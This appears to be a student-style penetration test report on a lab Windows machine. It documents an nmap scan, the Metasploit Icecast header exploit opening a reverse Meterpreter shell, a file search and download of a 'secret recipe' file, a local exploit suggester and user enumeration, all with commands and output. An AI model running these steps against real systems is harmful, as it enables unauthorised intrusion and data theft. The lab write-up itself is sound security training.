GoodSecurity Penetration Test Report

AbebaAbraha@GoodSecurity.com

03/03/2022

1. High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp's CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The goal of this test is to perform attacks similar to those of a hacker and attempt to infiltrate Hans' computer to determine if it is at risk. GoodSecurity's overall objective was to exploit any vulnerable software, find a secret recipe file on Hans' computer, and report the findings back to GoodCorp.

The internal penetration test found several alarming vulnerabilities on Hans' computer: When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploiting two programs with major vulnerabilities. The details of the attack are below.

2. Findings

Machine IP:

192.168.0.20

Hostname:

MSEDGEWIN10\IEUser

Vulnerability Exploited:

Icecast-header

Vulnerability Explanation:

Nmap scan results revealed the Icecast service is open and running, this allows an attacker to adjust the IP address to the target's machine on the Icecast header. Once exploited, an attacker then has access to documents and files on the target's server.

Severity:

The vulnerability is extremely severe as an attacker may access confidential files and/or install a malicious payload on the target's server.

Proof of Concept:

- Command to run nmap service and version scan: nmap -sV -O 192.168.0.20

```
root@kali:~# nmap -sV -O 192.168.0.20
Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-03 21:25 PST
```

- Command to search for Icecast exploits: searchsploit Icecast
- Command to start Metasploit: msfconsole

```
root@kali:~# searchsploit Icecast
------------------------------------- ----------------------------------------
 Exploit Title                       |  Path
                                     | (/usr/share/exploitdb/)
------------------------------------- ----------------------------------------
Icecast 1.1.x/1.3.x - Directory Traver | exploits/multiple/remote/20972.txt
Icecast 1.1.x/1.3.x - Slash File Name  | exploits/multiple/dos/20973.txt
Icecast 1.3.7/1.3.8 - 'print_client()' | exploits/windows/remote/20582.c
Icecast 1.x - AVLLib Buffer Overflow   | exploits/unix/remote/21363.c
Icecast 2.0.1 (Win32) - Remote Code Ex | exploits/windows/remote/568.c
Icecast 2.0.1 (Win32) - Remote Code Ex | exploits/windows/remote/573.c
Icecast 2.0.1 (Windows x86) - Header O | exploits/windows_x86/remote/16763.rb
Icecast 2.x - XSL Parser Multiple Vuln | exploits/multiple/remote/25238.txt
icecast server 1.3.12 - Directory Trav | exploits/linux/remote/21602.txt
------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~# msfconsole
```

- Command to use the Icecast exploit: use 0
- Command to set RHOST: set RHOST 192.168.0.20
- Command to run the exploit: run

```
msf5 > search Icecast

Matching Modules
================

   #  Name                                  Disclosure Date  Rank   Check  Description
   -  ----                                  ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Head
er Overwrite


msf5 > use 0
msf5 exploit(windows/http/icecast_header) > set RHOST 192.168.0.20
RHOST => 192.168.0.20
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.0.8:4444
[*] Sending stage (180291 bytes) to 192.168.0.20
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.20:49836) at 2022-03-0
5 14:36:55 -0800

meterpreter >
```

- Command to search for file secretfile.txt : search -f *secret*

```
meterpreter > search -f *secret*
Found 8 results...
    c:\Program Files\Puppet Labs\Puppet\puppet\lib\puppet\application\secret_age
nt.rb (406 bytes)
    c:\Program Files\Puppet Labs\Puppet\puppet\lib\puppet\face\secret_agent.rb (
1868 bytes)
    c:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Recent\user.secretfile.txt
.lnk (655 bytes)
```

- Command to search for file recipe.txt: search -f *recipe*

```
meterpreter > search -f *recipe*
Found 2 results...
    c:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Recent\Drinks.recipe.txt.l
nk (643 bytes)
    c:\Users\IEUser\Documents\Drinks.recipe.txt (48 bytes)
meterpreter >
```

- Command to exfiltrate the recipe.txt file:

  download c: /Users/IEUser/Documents/Drinks.recipe.txt

```
meterpreter > download c:/Users/IEUser/Documents/Drinks.recipe.txt
[*] Downloading: c:/Users/IEUser/Documents/Drinks.recipe.txt -> Drinks.recipe.txt
[*] Downloaded 48.00 B of 48.00 B (100.0%): c:/Users/IEUser/Documents/Drinks.recipe.txt
-> Drinks.recipe.txt
[*] download   : c:/Users/IEUser/Documents/Drinks.recipe.txt -> Drinks.recipe.txt
meterpreter >
```

- Command to find possible local exploits with Meterpreters exploit suggester:

  run post/multi/recon/local_exploit_suggester

```
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 192.168.0.20 - Collecting local exploits for x86/windows...
[*] 192.168.0.20 - 30 exploit checks are being tried...
[+] 192.168.0.20 - exploit/windows/local/ikeext_service: The target appears to be vulner
able.
[+] 192.168.0.20 - exploit/windows/local/ms16_075_reflection: The target appears to be v
ulnerable.
meterpreter >
```

- Meterpreter post script command to enumerate all logged on users:

  run post/windows/gather/enum_logged_on_users

```
meterpreter > run post/windows/gather/enum_logged_on_users

[*] Running against session 1

Current Logged Users
====================

 SID                                            User
 ---                                            ----
 S-1-5-21-321011808-3761883066-353627080-1000   MSEDGEWIN10\IEUser


[+] Results saved in: /root/.msf4/loot/20220305150154_default_192.168.0.20_host.users.ac
tiv_785601.txt

Recently Logged Users
=====================

 SID                                            Profile Path
 ---                                            ------------
 S-1-5-18                                       %systemroot%\system32\config\systemprofil
e
 S-1-5-19                                       %systemroot%\ServiceProfiles\LocalService
 S-1-5-20                                       %systemroot%\ServiceProfiles\NetworkServi
ce
 S-1-5-21-321011808-3761883066-353627080-1000   C:\Users\IEUser
 S-1-5-21-321011808-3761883066-353627080-1003   C:\Users\sysadmin
 S-1-5-21-321011808-3761883066-353627080-1004   C:\Users\vagrant
```

- Meterpreter shell gathering system information: shell

```
meterpreter > shell
Process 6304 created.
Channel 6 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Icecast2 Win32>
```

- Command displaying target's computer system information: sysinfo

```
meterpreter > sysinfo
Computer        : MSEDGEWIN10
OS              : Windows 10 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >
```

3. **Recommendations:**

Would strongly suggest for GoodCorp to keep the Icecast header updated to its most recent version, along with keeping up firewalls.